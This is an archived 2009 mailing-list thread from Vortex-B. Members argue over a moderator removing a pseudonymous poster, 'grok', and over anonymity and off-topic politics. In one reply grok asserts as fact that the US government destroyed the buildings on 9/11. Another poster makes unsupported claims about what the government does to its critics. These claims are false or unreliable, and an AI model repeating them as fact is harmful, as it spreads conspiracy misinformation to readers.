X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:grok is removed temporarily Status: RO X-Status: X-Keywords: X-UID: 582 On Sun, Jun 07, 2009 at 11:48:07PM -0700, Mark Iverson wrote: >Grok is a coward. >If he really believed what he was preaching, then he wouldn't be afraid to use his real name. The U.S. government has said that people who deny the government story about 9/11, or who want the government to obey the Constitution, or who oppose the war against Iraq, etc., are to be suspected as terrorists allied with Al-Qaeda. U.S. government legislation and executive orders provide that suspected terrorists can be arrested, denied the legal rights provided in the Constitution, tortured, and killed. So anyone who speaks out against U.S. government policies is well justified in doing so anonymously. In this case anonymity does _not_ mean >>"probably criminal element" ..."teenager," or "newbie user." Furthermore, Grok has _not_ >>[drawn] complaints from the entire community >I think most everyone I'm aware of on this list has apologized at one time or another... It's what a >person with integrity does when they realize their mistake or transgression. The fact that grok is >incapable of such behavior (all he knows is arrogance and condescension), shows his true self; one >lacking humility, reflection, self-awareness consciousness... Asking for an apology and real name >are justified in this instance. >He will, or already has, tried to blame others for his situation; he needs to point the finger in >his direction. I doubt if he is even capable of that... Personal responsibility is something he >hasn't shown either. That's an ad hominem attack made without supporting evidence. Mark S Bilk http://www.cosmicpenguin.com >-----Original Message----- >From: William Beaty [mailto:billb@eskimo.com] >Sent: Sunday, June 07, 2009 10:54 PM >To: vortex-l@eskimo.com >Subject: Re: [Vo]:grok is removed temporarily > >On Sun, 7 Jun 2009, Harry Veeder wrote: > >> > Grok said no thanks, to the above. >> I am not sure why he should apologize for his off-topic postings, > >Political posting sent here, rather than to vtxB. > >> If you expect him to reveal his true identity then that should be >> written in the rules. > >Nope. If any user misbehaves so badly that they draw complaints from the entire community, then >I'll fix the problem, which includes crafting arbitrary and mysterious requirements on a whim. > >As with any professional community, people with real names are welcome, and people who hide their >identities have marked themselves as "probably criminal element" in the eyes of the group >...although on internet, anonymity also means "teenager," or "newbie user." (Which of the three is >worse?) To impress fellow professionals, always put your address and phone number in your sig. >This is an unwritten societal rule which applies to the entire world, not just online or on vortex: >try walking around downtown wearing a mask, see what happens. > >Perhaps vortex should require surrendering anonymity, but it's much work to do it right (to avoid >fake identities.) > >> If the political commentary incorporates *personal* insults, instead >> of > >There is very specifically no rule against insults on Vortex-L. However, people who habitually use >personal insults will attract complaints from the entire community, and then... (see above.) From vortexb-l-request@eskimo.com Mon Jun 8 02:38:48 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n589cd43029518; Mon, 8 Jun 2009 02:38:43 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n589cc24029507; Mon, 8 Jun 2009 02:38:38 -0700 Resent-Date: Mon, 8 Jun 2009 02:38:38 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 8 Jun 2009 02:38:30 -0700 From: grok To: Mark S Bilk Cc: vortexb-l@eskimo.com Message-ID: <20090608093830.GA19130@shell.resist.ca> Reply-To: grok@resist.ca MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <20090608082941.GC29614@Isis> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Jasmine, Air-to-Air, LAW, roadside bomb, SA-10b User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4341 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:grok is removed temporarily Status: RO X-Status: X-Keywords: X-UID: 583 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Mark S Bilk mounted the barricade and roared out: > On Sun, Jun 07, 2009 at 11:48:07PM -0700, Mark Iverson wrote: > >Grok is a coward. > >If he really believed what he was preaching, then he wouldn't be afraid to use his real name. > > The U.S. government has said that people who deny the > government story about 9/11, or who want the government > to obey the Constitution, or who oppose the war against > Iraq, etc., are to be suspected as terrorists allied with > Al-Qaeda. U.S. government legislation and executive > orders provide that suspected terrorists can be arrested, > denied the legal rights provided in the Constitution, > tortured, and killed. > > So anyone who speaks out against U.S. government policies > is well justified in doing so anonymously. In this case > anonymity does _not_ mean In fact I have been targeted by several governments since long before "S11" (9/11). But since these monsters took down their own buildings and murdered thousands of their own citizens, it's been open season on people like me, thanx to a nation of gullible fools. But it was open season on me in the `80s too -- so this isn't even an excuse for them. The only reason I'm not murdered by a deathsquad yet is because they have felt they have had all the time in the World to play with people like me, like a cat plays with a mouse. However, that logic no longer applies, since they've started losing control of the World... And so these pompous, self-righteous asses here can blow it out those asses, AFAIC. - -- and it's not ad hominem to say the above either, tho' the fine distinction would elude many of them, I'm sure. > >>"probably criminal element" ..."teenager," or "newbie user." > > Furthermore, Grok has _not_ > > >>[drawn] complaints from the entire community > > >I think most everyone I'm aware of on this list has apologized at one time or another... It's what a > >person with integrity does when they realize their mistake or transgression. The fact that grok is > >incapable of such behavior (all he knows is arrogance and condescension), shows his true self; one > >lacking humility, reflection, self-awareness consciousness... Asking for an apology and real name > >are justified in this instance. > >He will, or already has, tried to blame others for his situation; he needs to point the finger in > >his direction. I doubt if he is even capable of that... Personal responsibility is something he > >hasn't shown either. > > That's an ad hominem attack made without supporting evidence. > > Mark S Bilk > http://www.cosmicpenguin.com Thanx Mark -- but you're talking to the intellectually dishonest there. A losing hand, no matter how reasonable you are. I think you see by the record what's really up here. - -- grok. > >-----Original Message----- > >From: William Beaty [mailto:billb@eskimo.com] > >Sent: Sunday, June 07, 2009 10:54 PM > >To: vortex-l@eskimo.com > >Subject: Re: [Vo]:grok is removed temporarily > > > >On Sun, 7 Jun 2009, Harry Veeder wrote: > > > >> > Grok said no thanks, to the above. > >> I am not sure why he should apologize for his off-topic postings, > > > >Political posting sent here, rather than to vtxB. > > > >> If you expect him to reveal his true identity then that should be > >> written in the rules. > > > >Nope. If any user misbehaves so badly that they draw complaints from the entire community, then > >I'll fix the problem, which includes crafting arbitrary and mysterious requirements on a whim. > > > >As with any professional community, people with real names are welcome, and people who hide their > >identities have marked themselves as "probably criminal element" in the eyes of the group > >...although on internet, anonymity also means "teenager," or "newbie user." (Which of the three is > >worse?) To impress fellow professionals, always put your address and phone number in your sig. > >This is an unwritten societal rule which applies to the entire world, not just online or on vortex: > >try walking around downtown wearing a mask, see what happens. > > > >Perhaps vortex should require surrendering anonymity, but it's much work to do it right (to avoid > >fake identities.) > > > >> If the political commentary incorporates *personal* insults, instead > >> of > > > >There is very specifically no rule against insults on Vortex-L. However, people who habitually use > >personal insults will attract complaints from the entire community, and then... (see above.) Bill Beaty: looking for an excuse ex post facto. And the World is looking for this lot to discover new scientific truth..? See? They escalate it -- then you're the bad guy. Happens all the time. It's called hypocrisy and maintaining the status quo no matter what. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkos3BYACgkQXo3EtEYbt3EHvwCeOJ4eVxDZdgfteeZlUw//D35O NngAnRPD/1y1wi3mAux5QufXTtcNaYdl =nSqI -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon Jun 8 02:50:06 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n589o2BE022160; Mon, 8 Jun 2009 02:50:02 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n589nvit022113; Mon, 8 Jun 2009 02:49:57 -0700 Resent-Date: Mon, 8 Jun 2009 02:49:57 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=n8yduNeiwrMVhORKFzVOXMWQQ5pGObUyd73Y5fSGuOM=; b=VXwluoLQncYOxA2FPi/MpjnFnXapW3xzfV97S7VjJ9/BVRgmJGzeWncn3Y+hlkkiNU j6WnIFRUG3tqp7ZM0TFuKHj2pYIiP/BNishz1oCccgYGjB0Paq960SVdUllfsxz9XU0c 9/aO8Hde5pWEX3/n8BFE6F/3pBrZtytfW4c5Y= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=CfbP7MyKxZ4QurVgPKPWtx/DJZtKbjwD1r9B/PvijxwSeH8jZ7gFmG0uMNSnZIkbPD Q/KO051N3ftrMp5LbXWQHFYVevqg7yomDOMH26OeZHFQMhfGhtvvynU8BsPvJjVwR3cd CI5+KmdOSk25uDYmgiup3Q183EG7aK2Fvek2s= MIME-Version: 1.0 In-Reply-To: <20090608082941.GC29614@Isis> References: <3fd9493facb0.3facb03fd949@ncf.ca> <3D5A832CD18E42AEA658EAD84F14F985@p4> <20090608082941.GC29614@Isis> From: John Berry Date: Mon, 8 Jun 2009 21:49:37 +1200 Message-ID: Subject: Re: [VoB]:Re: [Vo]:grok is removed temporarily To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=000e0cd2e76032e717046bd32aba Resent-Message-ID: <0nr5cD.A.WZF.F7NLKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4342 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 584 --000e0cd2e76032e717046bd32aba Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit I too am now removed, I replied to this topic not realizing it was posted twice in vortes-l and vortex-b, i replied to the wrong instance. Anyway the gist of what I said was: I guess if you live in a web of lies truth becomes an act of terrorism. Or something to that effect in reply to: The U.S. government has said that people who deny the > government story about 9/11, or who want the government > to obey the Constitution, or who oppose the war against > Iraq, etc., are to be suspected as terrorists allied with > Al-Qaeda. U.S. government legislation and executive > orders provide that suspected terrorists can be arrested, > denied the legal rights provided in the Constitution, > tortured, and killed. > Oh well, grok kinda had it coming as he has no genuine interest in ever being on topic and he tends to shot first. And I'm not anonymous obviously, so not sure how this accidental infraction gets undone... On Mon, Jun 8, 2009 at 8:29 PM, Mark S Bilk wrote: > On Sun, Jun 07, 2009 at 11:48:07PM -0700, Mark Iverson wrote: > >Grok is a coward. > >If he really believed what he was preaching, then he wouldn't be afraid to > use his real name. > > The U.S. government has said that people who deny the > government story about 9/11, or who want the government > to obey the Constitution, or who oppose the war against > Iraq, etc., are to be suspected as terrorists allied with > Al-Qaeda. U.S. government legislation and executive > orders provide that suspected terrorists can be arrested, > denied the legal rights provided in the Constitution, > tortured, and killed. > > So anyone who speaks out against U.S. government policies > is well justified in doing so anonymously. In this case > anonymity does _not_ mean > > >>"probably criminal element" ..."teenager," or "newbie user." > > Furthermore, Grok has _not_ > > >>[drawn] complaints from the entire community > > >I think most everyone I'm aware of on this list has apologized at one time > or another... It's what a > >person with integrity does when they realize their mistake or > transgression. The fact that grok is > >incapable of such behavior (all he knows is arrogance and condescension), > shows his true self; one > >lacking humility, reflection, self-awareness consciousness... Asking for > an apology and real name > >are justified in this instance. > >He will, or already has, tried to blame others for his situation; he needs > to point the finger in > >his direction. I doubt if he is even capable of that... Personal > responsibility is something he > >hasn't shown either. > > That's an ad hominem attack made without supporting evidence. > > Mark S Bilk > http://www.cosmicpenguin.com > > >-----Original Message----- > >From: William Beaty [mailto:billb@eskimo.com] > >Sent: Sunday, June 07, 2009 10:54 PM > >To: vortex-l@eskimo.com > >Subject: Re: [Vo]:grok is removed temporarily > > > >On Sun, 7 Jun 2009, Harry Veeder wrote: > > > >> > Grok said no thanks, to the above. > >> I am not sure why he should apologize for his off-topic postings, > > > >Political posting sent here, rather than to vtxB. > > > >> If you expect him to reveal his true identity then that should be > >> written in the rules. > > > >Nope. If any user misbehaves so badly that they draw complaints from the > entire community, then > >I'll fix the problem, which includes crafting arbitrary and mysterious > requirements on a whim. > > > >As with any professional community, people with real names are welcome, > and people who hide their > >identities have marked themselves as "probably criminal element" in the > eyes of the group > >...although on internet, anonymity also means "teenager," or "newbie > user." (Which of the three is > >worse?) To impress fellow professionals, always put your address and > phone number in your sig. > >This is an unwritten societal rule which applies to the entire world, not > just online or on vortex: > >try walking around downtown wearing a mask, see what happens. > > > >Perhaps vortex should require surrendering anonymity, but it's much work > to do it right (to avoid > >fake identities.) > > > >> If the political commentary incorporates *personal* insults, instead > >> of > > > >There is very specifically no rule against insults on Vortex-L. However, > people who habitually use > >personal insults will attract complaints from the entire community, and > then... (see above.) > > --000e0cd2e76032e717046bd32aba Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable I too am now removed, I replied to this topic not realizing it was posted t= wice in vortes-l and vortex-b, i replied to the wrong instance.

Anyw= ay the gist of what I said was:

I guess if you live in a web of lies= truth becomes an act of terrorism.

Or something to that effect in reply to:

The U.S. government has said that people= who deny the
government story about 9/11, or who want the government
to obey the Constitution, or who oppose the war against
Iraq, etc., are to be suspected as terrorists allied with
Al-Qaeda. =A0U.S. government legislation and executive
orders provide that suspected terrorists can be arrested,
denied the legal rights provided in the Constitution,
tortured, and killed.

Oh well, grok kinda had it coming= as he has no genuine interest in ever being on topic and he tends to shot = first.

And I'm not anonymous obviously, so not sure how this acc= idental infraction gets undone...



On Mon, Jun 8, 2009 at 8:29 PM, Mark= S Bilk <mar= k@cosmicpenguin.com> wrote:
On Sun, Jun 07, 2009 at 11:48:07PM -0700, Mark Iverson wrote:
>Grok is a coward.
>If he really believed what he was preaching, then he wouldn't be af= raid to use his real name.

The U.S. government has said that people who deny the
government story about 9/11, or who want the government
to obey the Constitution, or who oppose the war against
Iraq, etc., are to be suspected as terrorists allied with
Al-Qaeda. =A0U.S. government legislation and executive
orders provide that suspected terrorists can be arrested,
denied the legal rights provided in the Constitution,
tortured, and killed.

So anyone who speaks out against U.S. government policies
is well justified in doing so anonymously. =A0In this case
anonymity does _not_ mean

>>"probably criminal element" ..."teenager," or &= quot;newbie user."

Furthermore, Grok has _not_

>>[drawn] complaints from the entire community

>I think most everyone I'm aware of on this list has apologized at o= ne time or another... It's what a
>person with integrity does when they realize their mistake or transgres= sion. =A0The fact that grok is
>incapable of such behavior (all he knows is arrogance and condescension= ), shows his true self; one
>lacking humility, reflection, self-awareness consciousness... Asking fo= r an apology and real name
>are justified in this instance.
>He will, or already has, tried to blame others for his situation; he ne= eds to point the finger in
>his direction. =A0I doubt if he is even capable of that... Personal res= ponsibility is something he
>hasn't shown either.

That's an ad hominem attack made without supporting evidence.

=A0Mark S Bilk
=A0http://www.c= osmicpenguin.com

>-----Original Message-----
>From: William Beaty [mailto:billb@e= skimo.com]
>Sent: Sunday, June 07, 2009 10:54 PM
>To: vortex-l@eskimo.com
>Subject: Re: [Vo]:grok is removed temporarily
>
>On Sun, 7 Jun 2009, Harry Veeder wrote:
>
>> > Grok said no thanks, to the above.
>> I am not sure why he should apologize for his off-topic postings,<= br> >
>Political posting sent here, rather than to vtxB.
>
>> If you expect him to reveal his true identity then that should be<= br> >> written in the rules.
>
>Nope. =A0If any user misbehaves so badly that they draw complaint= s from the entire community, then
>I'll fix the problem, which includes crafting arbitrary and mysteri= ous requirements on a whim.
>
>As with any professional community, people with real names are welcome,= and people who hide their
>identities have marked themselves as "probably criminal element&qu= ot; in the eyes of the group
>...although on internet, anonymity also means "teenager," or = "newbie user." =A0(Which of the three is
>worse?) =A0To impress fellow professionals, always put your address and= phone number in your sig.
>This is an unwritten societal rule which applies to the entire world, n= ot just online or on vortex:
>try walking around downtown wearing a mask, see what happens.
>
>Perhaps vortex should require surrendering anonymity, but it's much= work to do it right (to avoid
>fake identities.)
>
>> If the political commentary incorporates *personal* insults, inste= ad
>> of
>
>There is very specifically no rule against insults on Vortex-L. = =A0However, people who habitually use
>personal insults will attract complaints from the entire community, and= then... (see above.)


--000e0cd2e76032e717046bd32aba-- From vortexb-l-request@eskimo.com Mon Jun 8 05:07:46 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n58C7g5r017663; Mon, 8 Jun 2009 05:07:43 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n58C7gSv017637; Mon, 8 Jun 2009 05:07:42 -0700 Resent-Date: Mon, 8 Jun 2009 05:07:42 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Jeff Fink" To: References: <3ff54b3f8d48.3f8d483ff54b@ncf.ca> Subject: RE: [VoB]:politics and technology Date: Mon, 8 Jun 2009 08:07:36 -0400 Message-ID: <2C4E843D20CE443FBD65A8EFDF257534@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 thread-index: Acnn+caBrRJjvx1bR/eSGu9cH5mh2gAN80Yg X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 In-Reply-To: <3ff54b3f8d48.3f8d483ff54b@ncf.ca> Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4343 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 585 It is the fluidity of pricing that causes the balance of supply and demand. Jeff -----Original Message----- From: Harry Veeder [mailto:hveeder@ncf.ca] Sent: Monday, June 08, 2009 1:26 AM To: vortexb-l@eskimo.com Subject: Re: [VoB]:politics and technology ----- Original Message ----- From: grok Date: Sunday, June 7, 2009 7:25 pm Subject: Re: [VoB]:politics and technology > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > > > > Price reflects demand -- not the other way around. Classic > > reification. > Classic delusion. You still don't get that price reflects a demand > based on real > values which change much more slowly over time, given other factors. > I thought prices reflect a balance between supply and demand. Harry From vortexb-l-request@eskimo.com Mon Jun 8 05:41:45 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n58Cff6C010409; Mon, 8 Jun 2009 05:41:41 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n58Cffr5010401; Mon, 8 Jun 2009 05:41:41 -0700 Resent-Date: Mon, 8 Jun 2009 05:41:41 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Jeff Fink" To: Date: Mon, 8 Jun 2009 08:34:08 -0400 Message-ID: <2CB0AF9101CF4C3889555DE9CD07EE70@REVTEC1> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0089_01C9E813.E45B6F70" X-Mailer: Microsoft Office Outlook 11 thread-index: AcnoNWtEMnXCh4A5TFaKNWZVDvQs1Q== X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4344 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Mig Pilot Status: O X-Status: X-Keywords: X-UID: 586 This is a multi-part message in MIME format. ------=_NextPart_000_0089_01C9E813.E45B6F70 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit The book Mig Pilot by John Barron could bring some real life perspective to the things Grok holds dear. Has anyone other than me read it? For those who don't remember, Victor Belenko is the guy who defected from the USSR to Japan in a Mig-25 Foxbat. It is interesting to see the form of insanity that drove this man to flee his workers paradise and become mired in the decadence of the west. Jeff ------=_NextPart_000_0089_01C9E813.E45B6F70 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

The book Mig Pilot by John Barron could bring some = real life perspective to the things Grok holds dear.  Has anyone other than = me read it?

 

For those who don’t remember, Victor Belenko is = the guy who defected from the USSR to Japan in a Mig-25 Foxbat.

 

It is interesting to see the form of insanity that = drove this man to flee his workers paradise and become mired in the decadence = of the west.

 

Jeff

------=_NextPart_000_0089_01C9E813.E45B6F70-- From vortexb-l-request@eskimo.com Mon Jun 8 17:04:08 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n59046N9011925; Mon, 8 Jun 2009 17:04:06 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n59045V5011911; Mon, 8 Jun 2009 17:04:05 -0700 Resent-Date: Mon, 8 Jun 2009 17:04:05 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 8 Jun 2009 17:03:58 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090609000358.GB14772@shell.resist.ca> Reply-To: grok@resist.ca MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: concentration camp, stock exchange, Enhanced Laser-Guided Training Round, Hwasong-3, Volga User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4345 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Citizen Paine Status: O X-Status: X-Keywords: X-UID: 587 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 200 years w/o the presence of a REAL hero... I think it's past time USAmericans [re-]read this man's worx. With a kritikal eye, that is (i.e. -- unlike most USAmericans: who constantly take their cues from the ruling-class). - -- grok. CITIZEN OF THE WORLD: A brief survey of the life and times of Thomas Paine (1737-1809): - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkotpu4ACgkQXo3EtEYbt3E7HwCdFtsaO+cWNw+6udGoAxaZUwua ak4AoIewq9jAw7QJDRFSRdsHNDOynbcT =Yb+I -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon Jun 8 17:09:01 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5908xm8017372; Mon, 8 Jun 2009 17:08:59 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5908uuR017363; Mon, 8 Jun 2009 17:08:56 -0700 Resent-Date: Mon, 8 Jun 2009 17:08:56 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=HWR9PqH0trjqOlAMCb077YNPZwu48zRgBzp4PxeKijs=; b=cwdRUBJAVxL0h1rSpOja5W49/vvmLaRtozRXXuOiGw8gPX0eLQWubqGOBx7BawXZ9e pIaKukptg8mia6qn76mfbniVWxmeoa/cU3P+vYMLqaq6JRqNBApKQ4nuXtnChFFGZ+21 YB7yStKHRow7vLAfd39t8lqn9rol05hfSYhRk= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=ZXjxLuQ58qAMq02BpnIf+1LO4iumKfIJniuOKIIsTLUHo0yjBzBaQRNfRnS324g3xm v1CyHYJR/b9iGCVcj/ooXZL9gffFb0rdPJqx/sHrmHQSJ6WlMD0Tm0bQXOv6An23ukYD /KaaJ/J4Ny64Jd6JkIoZVIkhhMsnFyR1fkRVo= MIME-Version: 1.0 In-Reply-To: References: <3fd9493facb0.3facb03fd949@ncf.ca> <3D5A832CD18E42AEA658EAD84F14F985@p4> <20090608082941.GC29614@Isis> From: John Berry Date: Tue, 9 Jun 2009 12:08:36 +1200 Message-ID: Subject: Re: [VoB]:Re: [Vo]:grok is removed temporarily To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=000e0cd25830349d35046bdf2a8e Resent-Message-ID: <0RtBR.A.NPE.YgaLKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4346 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 588 --000e0cd25830349d35046bdf2a8e Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Ok, so are my posts even getting through to Vortex-B currently? A warning would I think be a better method than unsubscribing but I was told it was temporary but how am I to get back? Let's see what Grok was asked to do... To resubscribe, I require that he apologize for his off-topic postings, > I made a single post that got me kicked off, so I can apologize for a single post not posts, furthermore I said it was a mistake as I had not meant it to go to Vortex-l, still I can apologize for my complacency and do. reveal his identity My identity has never been a secret (my name is sometimes appended to posts and always appears in the sender field in my emails). I could add to it however that I am a citizen of and reside in New Zealand, although that too was apparent with previous email addess I had previously been subscribed under. , and promise to eliminate all political commentary. > Again it was a mistake and I don't make a habit of it, but obviously that is inherently agreed to. Wouldn't a warning have been more appropriate? On Mon, Jun 8, 2009 at 9:49 PM, John Berry wrote: > I too am now removed, I replied to this topic not realizing it was posted > twice in vortes-l and vortex-b, i replied to the wrong instance. > > Anyway the gist of what I said was: > > I guess if you live in a web of lies truth becomes an act of terrorism. > > Or something to that effect in reply to: > > The U.S. government has said that people who deny the >> government story about 9/11, or who want the government >> to obey the Constitution, or who oppose the war against >> Iraq, etc., are to be suspected as terrorists allied with >> Al-Qaeda. U.S. government legislation and executive >> orders provide that suspected terrorists can be arrested, >> denied the legal rights provided in the Constitution, >> tortured, and killed. >> > > Oh well, grok kinda had it coming as he has no genuine interest in ever > being on topic and he tends to shot first. > > And I'm not anonymous obviously, so not sure how this accidental infraction > gets undone... > > > > > On Mon, Jun 8, 2009 at 8:29 PM, Mark S Bilk wrote: > >> On Sun, Jun 07, 2009 at 11:48:07PM -0700, Mark Iverson wrote: >> >Grok is a coward. >> >If he really believed what he was preaching, then he wouldn't be afraid >> to use his real name. >> >> The U.S. government has said that people who deny the >> government story about 9/11, or who want the government >> to obey the Constitution, or who oppose the war against >> Iraq, etc., are to be suspected as terrorists allied with >> Al-Qaeda. U.S. government legislation and executive >> orders provide that suspected terrorists can be arrested, >> denied the legal rights provided in the Constitution, >> tortured, and killed. >> >> So anyone who speaks out against U.S. government policies >> is well justified in doing so anonymously. In this case >> anonymity does _not_ mean >> >> >>"probably criminal element" ..."teenager," or "newbie user." >> >> Furthermore, Grok has _not_ >> >> >>[drawn] complaints from the entire community >> >> >I think most everyone I'm aware of on this list has apologized at one >> time or another... It's what a >> >person with integrity does when they realize their mistake or >> transgression. The fact that grok is >> >incapable of such behavior (all he knows is arrogance and condescension), >> shows his true self; one >> >lacking humility, reflection, self-awareness consciousness... Asking for >> an apology and real name >> >are justified in this instance. >> >He will, or already has, tried to blame others for his situation; he >> needs to point the finger in >> >his direction. I doubt if he is even capable of that... Personal >> responsibility is something he >> >hasn't shown either. >> >> That's an ad hominem attack made without supporting evidence. >> >> Mark S Bilk >> http://www.cosmicpenguin.com >> >> >-----Original Message----- >> >From: William Beaty [mailto:billb@eskimo.com] >> >Sent: Sunday, June 07, 2009 10:54 PM >> >To: vortex-l@eskimo.com >> >Subject: Re: [Vo]:grok is removed temporarily >> > >> >On Sun, 7 Jun 2009, Harry Veeder wrote: >> > >> >> > Grok said no thanks, to the above. >> >> I am not sure why he should apologize for his off-topic postings, >> > >> >Political posting sent here, rather than to vtxB. >> > >> >> If you expect him to reveal his true identity then that should be >> >> written in the rules. >> > >> >Nope. If any user misbehaves so badly that they draw complaints from the >> entire community, then >> >I'll fix the problem, which includes crafting arbitrary and mysterious >> requirements on a whim. >> > >> >As with any professional community, people with real names are welcome, >> and people who hide their >> >identities have marked themselves as "probably criminal element" in the >> eyes of the group >> >...although on internet, anonymity also means "teenager," or "newbie >> user." (Which of the three is >> >worse?) To impress fellow professionals, always put your address and >> phone number in your sig. >> >This is an unwritten societal rule which applies to the entire world, not >> just online or on vortex: >> >try walking around downtown wearing a mask, see what happens. >> > >> 